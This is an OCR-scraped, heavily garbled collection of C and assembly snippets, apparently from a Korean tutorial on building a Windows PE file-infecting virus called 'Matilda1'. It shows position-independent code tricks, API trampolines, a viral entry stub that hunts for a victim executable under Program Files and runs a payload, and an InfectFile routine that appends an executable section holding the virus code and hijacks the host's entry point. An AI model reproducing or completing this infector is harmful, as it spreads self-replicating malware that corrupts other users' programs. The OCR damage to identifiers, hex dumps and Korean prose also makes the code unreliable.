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HMODULE dll = LoadLibrary("kernel32.dll");
FARPROC func = GetProcAddress(dll, “some_api_name");
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#include <windows.h>
#include <tchar.h>

rir

oy

extern "C" PVOID ReturnAddress(void);
#pragma intrinsic( ReturnAddress)
#pragma comment(linker, "/ENTRY:Entry")

inline PVOID GetPtr(PVOID base, SIZE T offset)
{



return (PVOID) ((DWORD PTR) base + offset);

PVOID FindPEHeader (PVOID addr)

{
PIMAGE_DOS_HEADER dos;
PIMAGE NT HEADERS nt;
PIMAGE OPTIONAL HEADER32 opt;

PBYTE address = (PBYTE) addr;
for(address = (PBYTE) addr; address; --address)

{
try

{
dos = (PIMAGE DOS HEADER) address;

if(dos->e magic != IMAGE DOS SIGNATURE)
continue;

nt = (PIMAGE NT HEADERS)GetPtr(dos, dos->e 1lfanew);
if(nt->Signature !'= IMAGE NT SIGNATURE)
continue;

opt = &nt->0ptionalHeader;

if(opt->Magic != IMAGE NT OPTIONAL HDR32 MAGIC
&& opt->Magic != IMAGE NT OPTIONAL HDR64 MAGIC)
continue;

return address;

}
__except (EXCEPTION EXECUTE_HANDLER)

{
}

return NULL;

void PrintLine(LPCTSTR str)
{
DWORD written;
WriteConsole(GetStdHandle(STD OUTPUT HANDLE)
, str, lstrlen(str), &written, NULL);

int  stdcall Entry()



TCHAR buf[80];

wsprintf (buf
, _T("kernel32 == %08X\n")
, GetModuleHandle(_T("kernel32.dl1")));

PrintLine(buf);
wsprintf (buf

, _T("%08X => %08X\n\n")

, _ReturnAddress()

, FindPEHeader( ReturnAddress()));
PrintLine(buf);

wsprintf(buf, T("EXE == %08X\n"), GetModuleHandle(NULL));

PrintLine(buf);
wsprintf (buf
, _T("%08X => %08X\n")
, Entry
, FindPEHeader (Entry));
PrintLine(buf);
return 0;
}
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push offset “Hello World#n"
call printf
add esp, 4
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0x403000 —» Hello World¥n 0x501000 —| RealOffset
F 3
push 0x403000 0x503000 — Hello World¥n
push 0x403000
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2|AE 2 RealOffset €4 I E
_declspec(naked) PVOID RealOffset(PVOID offset)

asm

{
call $+5
pop eax
sub eax, 5
sub eax, RealOffset
add eax, [esp+4]
ret

-
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typedef int (*funcT) (int a);
int g a = 0;

char *g b = "abcde";
funcT g pFunc = Plus;

int some func()



int a = *(int *) RealOffset(&g a);

LPCVOID ptr = (LPCVOID) *(DWORD *) RealOffset(&g b);
char *b = (char *) RealOffset(ptr);

ptr = (LPCVOID) *(DWORD *) RealOffset(&g pFunc);
funcT func = (funcT) RealOffset(ptr);

func(1l);
}
g_a
0x1000 -
g b
0x1008 — 0x1234
ot o oo
0x1234 ——» abcde
0x2000 —» void PlI,ISI:]

a3 4 H22| gojopr

EfEE gE 2H g8 =
FindFirstFileOf| CH3l EzHEZ| Tt

A
e
St A o= 8lthe As & =

87l Qs B2 TSl &g Ttk <2AE 4>0
| Ct
—

X| AKX FindFirstFile2 M=

2|AE 4 FindFirstFile0f| C{st EgiEal gk

extern "C" declspec(naked, noinline)
Trampoline FindFirstFile(LPCTSTR, LPWIN32 FIND DATA)
{

_asm jmp FindFirstFileAddress
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HMODULE dll = GetModuleHandle( T("kernel32.dll"));

DWORD addr = (DWORD) GetProcAddress(dll, "FindFirstFileW");
*(DWORD *) ((PBYTE)Trampoline FindFirstFile+l) = addr;
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extern "C"  declspec(naked, noinline)
Trampoline FindFirstFile
{

__asm push FindFirstFileAddress
__asm ret
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#include <windows.h>
#pragma comment(linker, "/SECTION:.text,rwe")

#define IMPLEMENT TRAMPOLINE(R, C, N, ARG, A) \
extern "C"  declspec(naked, noinline) \
R C TL_##N ARG\
A\
_asm push A \
_asm ret \

#define SET TRAMPOLINEADDR(F, A) \



(*(DWORD_PTR*) ((PBYTE) TL ##F + 1) = (DWORD_PTR) (A))

IMPLEMENT TRAMPOLINE
(
BOOL
, WINAPI
, WriteConsole
, (HANDLE, LPCVOID, DWORD, LPDWORD, LPVOID)
, 0x10000000

int tmain(int argc, TCHAR* argv[])

HMODULE dll1 = GetModuleHandle( T("kernel32.dll"));

FARPROC func = GetProcAddress(dll, "WriteConsoleW");
SET TRAMPOLINEADDR(WriteConsole, func);

LPCTSTR str = T("Hello World\r\n");

DWORD written;

HANDLE h = GetStdHandle(STD OUTPUT HANDLE);

TL WriteConsole(h, str, lstrlen(str), &written, NULL);

return 0;
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IMAGE_DOS_HEADIE | 8004A088 4D 61 74 69 6C 64 61 31 60 90 60 69 89 18 40 8@ Matildat...... @,
MS-DO3 Stub Pro B004AB19 2E OG0 45 60 58 90 45 60 60 90 60 60 19 18 40 68 .E.X.E. e
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IMAGE_SECTIOW_}| B0A4AG30 2A 00 2E A0 27 00 B0 60 20 10 48 68 5C A0 2A 60 %L @M=
IMAGE_SECTION_}| B0A4AG4A 2E B8 2A A0 PO 00 B0 B0 3C 10 49 60 2E B0 0P 6O LaEL L. <.@.....

w

IMAGE_SECTION_}| B0A4AG50 4C 10 48 A0 2E 00 2E 60 @0 00 00 68 54 10 4P 60 L.@. .. .T.@.
IMAGE_SECTIOHN_H| B004A060 67 B0 64 00 69 90 33 60 32 00 2E 00 64 00 6C 60 g.d.i. 3 2 .d.1.
IMAGE_SECTION_}| B0A4AOFA 6C OO0 OO OO 60 10 48 60 75 00 73 08 65 A0 72 00 l... .B.u.5.e.r.
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SECTION .data 00B4AOAD 94 10 4B A0 4F 65 74 43 F5 72 73 6F 72 58 6F 73 . .@.GetCursorPos

@ SECTION .rsrc 0004A0B0 00 0O 00 0O A4 10 48 B0 52 65 6C 65 61 73 65 44 ...... @.ReleaseD
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__declspec(naked) void Entry()

{

__asm

{
jmp $start
_emit 'M'
_emit 'a’
_emit 't
_emit 'i'
_emit 'l
_emit 'd'
_emit 'a’
_emit '1'

$start:



mov eax, [esp]
push eax

call FindPEHeader
test eax, eax

jz $oep

push eax
call InitTrampolines

call Matildal

$oep:
push offset OriginalEntry
ret
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int  stdcall Matildal()

{
TCHAR victim[MAX PATHI;
IMAGEINFO ii;
if(FindVictim(Q(PROGFILES DIR)
, victim
, Sizeof(victim)
, &ii))

TL OutputDebugStringW(victim);
InfectFile(victim, &ii);

Payload();
return 0;
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BOOL InfectFile(LPCTSTR path, PIMAGEINFO ii)

{

HANDLE file = INVALID HANDLE VALUE;
HANDLE mapping = NULL;

PVOID view = NULL;

BOOL ret = FALSE;

file = TL CreateFile(path

, GENERIC READ | GENERIC WRITE

, O
, NULL
, OPEN_EXISTING
, O
, NULL);
if(file == INVALID HANDLE VALUE)
return FALSE;

if(CODE_SIZE == 0)
CODE_SIZE = GetCodeSize();

DWORD fileSize = TL GetFileSize(file, NULL);

DWORD alignedCodeSize = ALIGN(CODE SIZE, ii->falign)

DWORD mapSize = fileSize + alignedCodeSize;

mapping = TL CreateFileMapping(file
, NULL

, PAGE_READWRITE

, 0
, mapSize
, NULL);
if(mapping == NULL)
goto $cleanup;

view = TL MapViewOfFile(mapping

, FILE_MAP_READ | FILE MAP WRITE

, 0
, 0
, mapSize);

’
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if(view == NULL)
goto $cleanup;

PIMAGE DOS HEADER dos;
PIMAGE NT HEADERS nt;
PIMAGE OPTIONAL HEADER opt;
PIMAGE SECTION HEADER sec;
DWORD salign;

dos = (PIMAGE DOS HEADER) view;

nt = (PIMAGE NT HEADERS) GetPtr(dos, dos->e lfanew);
opt = &nt->0ptionalHeader;

sec = (PIMAGE SECTION HEADER) GetPtr(nt, sizeof(*nt));
salign = opt->SectionAlignment;

int sno = nt->FileHeader.NumberOfSections;
++nt->FileHeader.NumberOfSections;

PIMAGE SECTION HEADER nsec = sec + sno;
PIMAGE SECTION HEADER psec = nsec - 1;
nsec->NumberOfLinenumbers = 0;
nsec->NumberOfRelocations = 0;

nsec->PointerTolLinenumbers = 0;
nsec->SizeOfRawData = alignedCodeSize;

nsec->Misc.VirtualSize = CODE SIZE;
nsec->Characteristics = IMAGE SCN MEM EXECUTE

| IMAGE SCN MEM READ

| IMAGE SCN MEM WRITE;
nsec->PointerToRawData = sec[sno-1].PointerToRawData

+ sec[sno-1].SizeOfRawData;

nsec->VirtualAddress = ALIGN(psec->VirtualAddress
+ psec->Misc.VirtualSize
, salign);
TL lstrcpyA((LPSTR) nsec->Name, QA(MATILDA1l SECNAME));

PBYTE code = (PBYTE) GetPtr(dos, sec[sno].PointerToRawData);
memcpy (code, (PVOID)(DWORD PTR) CODE START, CODE SIZE);

DWORD offset = (DWORD) (DWORD PTR) RO(Entry) - CODE_START;
DWORD *oep = (DWORD *) GetPtr(code, offset + OEPOFFSET);
*oep = opt->AddressOfEntryPoint + opt->ImageBase;



opt->AddressOfEntryPoint = nsec->VirtualAddress + offset;

opt->SizeOfImage = ALIGN(opt->SizeOfImage + CODE SIZE
, salign);

offset = (DWORD) (DWORD PTR) &CODE _START - CODE_START;
DWORD *codeStart = (DWORD *) GetPtr(code, offset);
*codeStart = nsec->VirtualAddress + opt->ImageBase;

ret = TRUE;
$cleanup:
if(view)

TL UnmapViewOfFile(view);

if(mapping)
TL_CloseHandle(mapping);

if(file != INVALID HANDLE VALUE)
TL CloseHandle(file);

return ret;
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